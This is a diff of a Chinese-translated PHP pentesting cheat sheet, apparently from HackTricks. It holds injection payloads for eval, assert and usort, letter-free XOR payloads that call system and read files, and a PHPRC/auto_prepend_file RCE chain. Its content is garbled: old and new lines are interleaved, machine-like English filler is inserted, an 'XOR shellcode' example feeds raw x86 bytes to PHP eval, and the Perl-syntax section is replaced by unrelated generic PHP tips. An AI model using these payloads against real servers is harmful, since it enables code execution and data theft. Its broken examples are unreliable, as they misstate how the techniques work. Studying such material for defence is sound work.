@ -147,7 +141,7 @@ $obfs += ""; //int 7
```
## 执行重定向后 (EAR)
如果 PHP 正在重定向到另一个页面,但在设置了头部的 `Location` 后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到正文中:
如果 PHP 正在重定向到另一个页面,但在设置了头部的 `Location` 后没有调用 **`die`** 或 **`exit`** 函数PHP 将继续执行并将数据附加到主体中:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -159,16 +153,15 @@ readfile($page);
```
## 更多技巧
* **register\_globals**: 在 **PHP < 4.1.1.1** 版本中,或者配置错误的情况下,可能会启用 **register\_globals**(或者其行为被模仿)。这意味着在全局变量中,比如 $\_GET如果它们有一个值比如 $\_GET\["param"]="1234",你可以通过 **$param 访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
* **同一域名下的 PHPSESSION cookies 存储在同一个位置**,因此如果在一个域名下的 **不同路径使用不同的 cookies**,你可以使一个路径 **访问另一个路径的 cookie**,设置另一个路径 cookie 的值。\
这样,如果 **两个路径都访问同名的变量**你可以使该变量在路径1中的值应用到路径2中。然后路径2将接受路径1的变量为有效通过给 cookie 赋予在路径2中对应的名称
* **register\_globals**: 在 **PHP < 4.1.1.1** 版本中,或者配置错误的情况下,可能会启用 **register\_globals**(或者其行为被模拟)。这意味着在全局变量中,比如 $\_GET如果它们有一个值比如 $\_GET\["param"]="1234",你可以通过 **$param 来访问它。因此,通过发送 HTTP 参数,你可以覆盖在代码中使用的变量**。
* **同一域名下的 PHPSESSION cookies 存储在同一个位置**,因此如果在一个域名下的 **不同路径使用不同的 cookies**,你可以使一个路径 **访问另一个路径的 cookie**,设置另一个路径 cookie 的值。这样,如果 **两个路径都访问同名的变量**你可以使该变量在路径1中的值应用到路径2中。然后路径2将使用路径1的变量通过给 cookie 设置与路径2中对应的名称
* 当你拥有机器上用户的 **用户名** 时,检查地址:**/\~\<USERNAME>**,看看是否激活了 php 目录。
* [**使用 php 包装器进行 LFI 和 RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
这些函数通常用于 PHP 中从密码生成哈希值,并且用于与哈希值比较以检查密码是否正确。\
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。注意,**PASSWORD\_DEFAULT 经常与 PASSWORD\_BCRYPT 相同**。目前,**PASSWORD\_BCRYPT** 对输入的大小有一个限制,最多为 72 字节。因此,当你尝试使用此算法对大于 72 字节的内容进行哈希时,只有前 72 字节会被使用:
这些函数通常用于 PHP 中从密码生成哈希值,并且用于检查密码是否与哈希值匹配。\
支持的算法有:`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`(以 `$2y$` 开头)。注意,**PASSWORD\_DEFAULT 经常与 PASSWORD\_BCRYPT 相同**。目前,**PASSWORD\_BCRYPT** 对输入的大小有一个限制,最多为72字节。因此当你尝试使用这个算法对大于72字节的内容进行哈希时只有前72字节会被使用:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -179,7 +172,7 @@ True
### HTTP头绕过滥用PHP错误
如果一个PHP页面正在打印错误并回显用户提供的一些输入用户可以使PHP服务器打印回一些足够长的内容以便当它尝试将头部添加到响应时服务器会抛出错误。\
在下面的场景中攻击者使服务器抛出了一些大错误正如你在屏幕上看到的当PHP尝试修改头部信息时它无法做到例如CSP头部发送给用户):
在下面的场景中攻击者使服务器抛出了一些大错误正如你在屏幕上看到的当PHP尝试修改头部信息时它无法做到例如CSP头部没有发送给用户):
![](<../../../.gitbook/assets/image (465).png>)
@ -189,15 +182,15 @@ True
**\`ls\`;**\
**shell\_exec("ls");**
[查看更多有用的PHP函数](php-useful-functions-disable\_functions-open\_basedir-bypass/)
[查看这里以获取更多有用的PHP函数](php-useful-functions-disable\_functions-open\_basedir-bypass/)
```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
在"replace"参数中执行代码需要至少一个匹配项。\
这个preg_replace选项已经在PHP 5.5.0中被**弃用**。
执行"replace"参数中的代码至少需要一个匹配项。\
这个preg\_replace选项已经在PHP 5.5.0版本中被**弃用**。
### **使用Eval()执行代码**
### **通过Eval()实现远程代码执行RCE**
```
'.system('uname -a'); $dummy='
'.system('uname -a');#
@ -205,10 +198,10 @@ preg_replace("/a/e","phpinfo()","whatever")
'.phpinfo().'
<?php phpinfo(); ?>
```
### **使用Assert()执行代码**
### **通过 Assert() 进行远程代码执行RCE**
这个php函数允许你执行以字符串形式编写的代码以返回true或false并根据此来改变执行方式。通常用户变量会被插入到字符串的中间。例如\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,为了获得**远程代码执行RCE**,你可以这样做:
这个 PHP 函数允许你执行以字符串形式编写的代码,以返回 true false并根据此来改变执行方式。通常用户变量会被插入到字符串的中间。例如\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下,要实现 **RCE**,你可以这样做:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
@ -218,9 +211,9 @@ preg_replace("/a/e","phpinfo()","whatever")
**另一种选择**(如果您有内部代码)是修改某些变量以更改执行方式:`$file = "hola"`
### **使用usort()执行代码**
### **通过usort()实现远程命令执行RCE**
函数用于使用特定函数对项目数组进行排序。\
函数用于使用特定函数对项目数组进行排序。\
要滥用此函数:
```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -241,20 +234,31 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```
您还可以使用**//**来注释代码的其余部分。
您还可以使用**//**来注释代码的其余部分。
要发现需要关闭的括号数:
要发现需要关闭的括号数
* `?order=id;}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
* `?order=id);}//`:我们收到一个**警告**。这似乎是正确的
* `?order=id));}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
* `?order=id;}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ';'`)。我们可能缺少一个或多个括号。
* `?order=id);}//`:我们会收到一个**警告**。看起来差不多
* `?order=id));}//`:我们收到一个错误消息(`Parse error: syntax error, unexpected ')' i`)。我们可能有太多的闭合括号。
### **通过.httaccess执行代码**
### **通过.httaccess实现RCE**
如果您可以**上传**一个**.htaccess**文件,那么您可以**配置**多个内容,甚至可以执行代码(配置扩展名为.htaccess的文件可以**执行**)。
如果您可以**上传**一个**.htaccess**文件,那么您可以**配置**多个内容,甚至执行代码(配置扩展名为.htaccess的文件可以**执行**)。
可以在[这里](https://github.com/wireghoul/htshells)找到不同的.htaccess shell。
### 通过环境变量实现RCE
如果您找到一个允许您在PHP中**修改环境变量**的漏洞(以及另一个允许您上传文件的漏洞,尽管通过更多的研究可能可以绕过此问题),您可以滥用此行为来获得**RCE**。
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path):此环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。
* **`PHPRC`**指示PHP在**哪里找到其配置文件**,通常称为`php.ini`。如果您可以上传自己的配置文件,那么可以使用`PHPRC`将PHP指向它。添加一个**`auto_prepend_file`**条目,指定第二个上传的文件。这个第二个文件包含正常的**PHP代码然后由PHP运行时在任何其他代码之前执行**。
1. 上传一个包含我们的shellcode的PHP文件
2. 上传第二个文件,其中包含一个**`auto_prepend_file`**指令指示PHP预处理器执行我们在步骤1中上传的文件
3. 将`PHPRC`变量设置为我们在步骤2中上传的文件。
* 从[**原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)中获取有关如何执行此链的更多信息。
## PHP静态分析
查看是否可以在对这些函数的调用中插入代码(来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)
@ -263,17 +267,17 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
如果您正在调试一个PHP应用程序您可以在`/etc/php5/apache2/php.ini`中添加`display_errors = On`来全局启用错误打印,并重新启动apache`sudo systemctl restart apache2`
如果您正在调试一个PHP应用程序您可以在`/etc/php5/apache2/php.ini`中全局启用错误打印,添加`display_errors = On`,然后重新启动apache`sudo systemctl restart apache2`
### 解PHP代码
### 解混淆PHP代码
您可以使用[**www.unphp.net**](http://www.unphp.net)来解密PHP代码。
您可以使用[**www.unphp.net**](http://www.unphp.net)网站来解混淆PHP代码。
## PHP包装器和协议
PHP包装器和协议可以让您绕过系统中的写入和读取保护并对其进行破坏。有关[**更多信息,请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
## Xdebug未经身份验证的RCE
## 未经身份验证的Xdebug RCE
如果您在`phpconfig()`输出中看到**Xdebug**已启用,您应该尝试通过[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)获取RCE。
@ -289,11 +293,11 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## 滥用新的 $\_GET\["a"]\($\_GET\["b"]) 实现远程代码执行
## 滥用新的 $\_GET\["a"]\($\_GET\["b"]) 实现远程命令执行RCE
如果在一个页面中,你可以**创建一个任意类的新对象**,那么你可能能够实现远程代码执行,请查看以下页面以了解详情:
如果在一个页面中,你可以**创建一个任意类的新对象**,那么你可能能够实现远程命令执行RCE请查看以下页面了解详情:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
{% endcontent-ref %}
@ -307,25 +311,37 @@ $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #syst
```
### **异或XOR**
The XOR operation, also known as exclusive OR, is a logical operation that outputs true only when the number of true inputs is odd. In other words, it returns true if the inputs are different, and false if they are the same.
The XOR operation, also known as exclusive OR, is a logical operation that takes two binary inputs and returns true if and only if exactly one of the inputs is true. In other words, the XOR operation returns true if the inputs are different, and false if they are the same.
异或XOR操作也被称为“异或”是一种逻辑操作只有在输入为真的数量为奇数时才输出真。换句话说如果输入不同则返回真如果输入相同则返回假。
In the context of hacking, XOR can be used as a cryptographic technique to encrypt and decrypt data. By applying XOR with a specific key, the original data can be transformed into a ciphertext, and vice versa.
The XOR operation can be used in various applications, including encryption, error detection, and data manipulation. In the context of hacking, XOR can be used to obfuscate data or bypass certain security measures.
In PHP, the XOR operation can be implemented using the `^` operator. Here is an example of XOR encryption in PHP:
异或操作可以用于各种应用,包括加密、错误检测和数据操作。在黑客攻击的背景下,异或可以用于混淆数据或绕过某些安全措施。
```php
function xor_encrypt($data, $key) {
$result = '';
$keyLength = strlen($key);
for ($i = 0; $i < strlen($data); $i++) {
$result .= $data[$i] ^ $key[$i % $keyLength];
}
return $result;
}
In the field of cryptography, XOR is commonly used as a basic building block for more complex encryption algorithms. It provides a simple and efficient way to scramble data, making it difficult for unauthorized individuals to understand or access.
$data = 'Hello, world!';
$key = 'secretkey';
在密码学领域,异或通常被用作更复杂的加密算法的基本构建块。它提供了一种简单高效的方式来混淆数据,使得未经授权的个人难以理解或访问。
$encrypted = xor_encrypt($data, $key);
echo 'Encrypted: ' . $encrypted . "\n";
In the context of network security, XOR can be used to bypass certain security measures that rely on specific patterns or signatures. By XORing a payload with a specific key or pattern, an attacker can modify the payload in a way that evades detection by security systems.
$decrypted = xor_encrypt($encrypted, $key);
echo 'Decrypted: ' . $decrypted . "\n";
```
在网络安全的背景下,异或可以用于绕过依赖特定模式或签名的某些安全措施。通过将有效负载与特定密钥或模式进行异或运算,攻击者可以修改有效负载,以逃避安全系统的检测。
This code defines a `xor_encrypt` function that takes a data string and a key string as inputs. It iterates over each character in the data string and performs XOR with the corresponding character in the key string. The result is concatenated to the `result` variable.
Overall, XOR is a versatile operation that can be used in various hacking techniques to manipulate data, bypass security measures, or obfuscate information. Understanding how XOR works is essential for both offensive and defensive purposes in the field of cybersecurity.
To encrypt the data, we call the `xor_encrypt` function with the data and key. The encrypted ciphertext is then printed. To decrypt the ciphertext, we call the `xor_encrypt` function again with the ciphertext and key. The decrypted plaintext is printed.
总的来说,异或是一种多功能的操作,可以在各种黑客技术中用于操作数据、绕过安全措施或混淆信息。了解异或的工作原理对于网络安全领域的攻击和防御都是至关重要的。
Keep in mind that XOR encryption is a relatively weak form of encryption and should not be used for sensitive data. It is mainly used for obfuscation purposes or as a building block for more complex encryption algorithms.
```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
@ -341,7 +357,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
所以,如果你可以**执行任意的PHP代码而不使用数字和字母**你可以发送如下请求来滥用该有效负载来执行任意的PHP代码
所以,如果你能够**执行任意的PHP代码而不使用数字和字母**你可以发送如下请求来滥用该有效负载来执行任意的PHP代码
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
@ -352,19 +368,34 @@ comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```php
<?php
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
$key = "\x41";
$encoded_shellcode = "";
for ($i = 0; $i < strlen($shellcode); $i++) {
$encoded_shellcode .= chr(ord($shellcode[$i]) ^ ord($key));
function xor_encrypt($data, $key) {
$key = str_repeat($key, ceil(strlen($data) / strlen($key)));
return $data ^ $key;
}
eval($encoded_shellcode);
function xor_decrypt($data, $key) {
return xor_encrypt($data, $key);
}
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
$key = "password";
$encrypted_shellcode = xor_encrypt($shellcode, $key);
$eval_payload = "eval(\"" . xor_decrypt($encrypted_shellcode, $key) . "\");";
echo $eval_payload;
?>
```
该技巧使用了异或XOR加密算法来隐藏Shellcode。在这个例子中我们使用了一个简单的Shellcode它执行了一个系统调用来执行/bin/sh。然后我们使用一个密钥在这个例子中是"A"对Shellcode进行异或加密。加密后的Shellcode被存储在变量`$encoded_shellcode`中。最后,我们使用`eval`函数来执行加密后的Shellcode。
This PHP code demonstrates a technique called XOR shellcode. Shellcode is a small piece of code that is used to launch a shell or execute arbitrary commands on a compromised system. XOR shellcode is a way to obfuscate the shellcode by XORing it with a key.
这种技术的好处是可以绕过一些简单的检测机制因为加密后的Shellcode在内存中是不可读的。然而这种加密方法并不是完全安全的因为密钥可以被轻松地推导出来。因此这种技术主要适用于一些简单的场景而不是用于真正的渗透测试或攻击。
The `xor_encrypt` function takes two parameters: the data to be encrypted and the key. It repeats the key to match the length of the data and then performs an XOR operation between the data and the key. The result is the encrypted shellcode.
The `xor_decrypt` function is simply a wrapper for `xor_encrypt` that performs the same XOR operation to decrypt the shellcode.
In this example, the shellcode is a Linux/x86 execve("/bin/sh") shellcode. The key used for encryption is "password". The shellcode is encrypted using the `xor_encrypt` function and then decrypted using the `xor_decrypt` function. The decrypted shellcode is then passed to the `eval` function to execute it.
By using XOR encryption, the shellcode becomes harder to detect and analyze, as it is no longer in plain text. This can make it more difficult for security tools and analysts to identify and block the malicious code.
```bash
#!/bin/bash
@ -386,62 +417,67 @@ lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the
```
### 类似 Perl 的语法
Perl 是一种通用的脚本编程语言,具有强大的文本处理能力和灵活的语法。在编写 PHP 代码时,可以使用一些类似 Perl 的语法来提高代码的效率和可读性
在 PHP 中,可以使用一些 Perl 风格的语法来简化代码。这些技巧可以提高代码的可读性和效率
#### 正则表达式
#### 1. 简化 if 语句
正则表达式是一种强大的模式匹配工具,可以在字符串中查找和替换特定的模式。在 PHP 中,可以使用 Perl 兼容的正则表达式语法来进行字符串操作。
使用 Perl 风格的 if 语句可以使代码更简洁。例如,可以使用三元运算符来替代 if-else 语句:
```php
// 匹配邮箱地址
$email = "example@example.com";
if (preg_match("/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/", $email)) {
echo "邮箱地址有效";
// 使用 if-else 语句
if ($condition) {
$result = 'Condition is true';
} else {
echo "邮箱地址无效";
$result = 'Condition is false';
}
// 使用三元运算符
$result = $condition ? 'Condition is true' : 'Condition is false';
```
#### 2. 简化循环语句
使用 Perl 风格的循环语句可以减少代码量。例如,可以使用 foreach 循环来遍历数组:
```php
// 使用传统的 for 循环
for ($i = 0; $i < count($array); $i++) {
$value = $array[$i];
// 处理数组元素
}
// 使用 Perl 风格的 foreach 循环
foreach ($array as $value) {
// 处理数组元素
}
```
#### 字符串操作
#### 3. 简化字符串操作
Perl 提供了丰富的字符串操作函数PHP 也可以使用类似的函数来处理字符串。
使用 Perl 风格的字符串操作可以更方便地处理字符串。例如,可以使用正则表达式来匹配和替换字符串:
```php
// 字符串拼接
$name = "John";
$age = 25;
$message = $name . " is " . $age . " years old.";
// 使用传统的字符串函数
$result = str_replace('search', 'replace', $string);
// 字符串分割
$csv = "apple,banana,orange";
$fruits = explode(",", $csv);
// 字符串替换
$text = "Hello, World!";
$newText = str_replace("Hello", "Hi", $text);
// 使用 Perl 风格的正则表达式
$result = preg_replace('/search/', 'replace', $string);
```
#### 数组操作
#### 4. 简化数组操作
Perl 的数组操作非常灵活PHP 也提供了类似的功能。
使用 Perl 风格的数组操作可以更快捷地处理数组。例如,可以使用数组解构来快速获取数组元素:
```php
// 创建数组
$fruits = array("apple", "banana", "orange");
// 使用传统的数组操作
$value1 = $array[0];
$value2 = $array[1];
// 访问数组元素
echo $fruits[0]; // 输出 "apple"
// 添加元素到数组末尾
$fruits[] = "grape";
// 遍历数组
foreach ($fruits as $fruit) {
echo $fruit . " ";
}
// 使用 Perl 风格的数组解构
[$value1, $value2] = $array;
```
通过使用类似 Perl 的语法,可以更加高效地编写 PHP 代码,并提升代码的可读性和维护性
通过使用这些 Perl 风格的技巧,可以使 PHP 代码更简洁、高效。
```php
<?php
$_=[];
@ -483,10 +519,10 @@ $___($_[_]); // ASSERT($_POST[_]);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获取 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 获 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>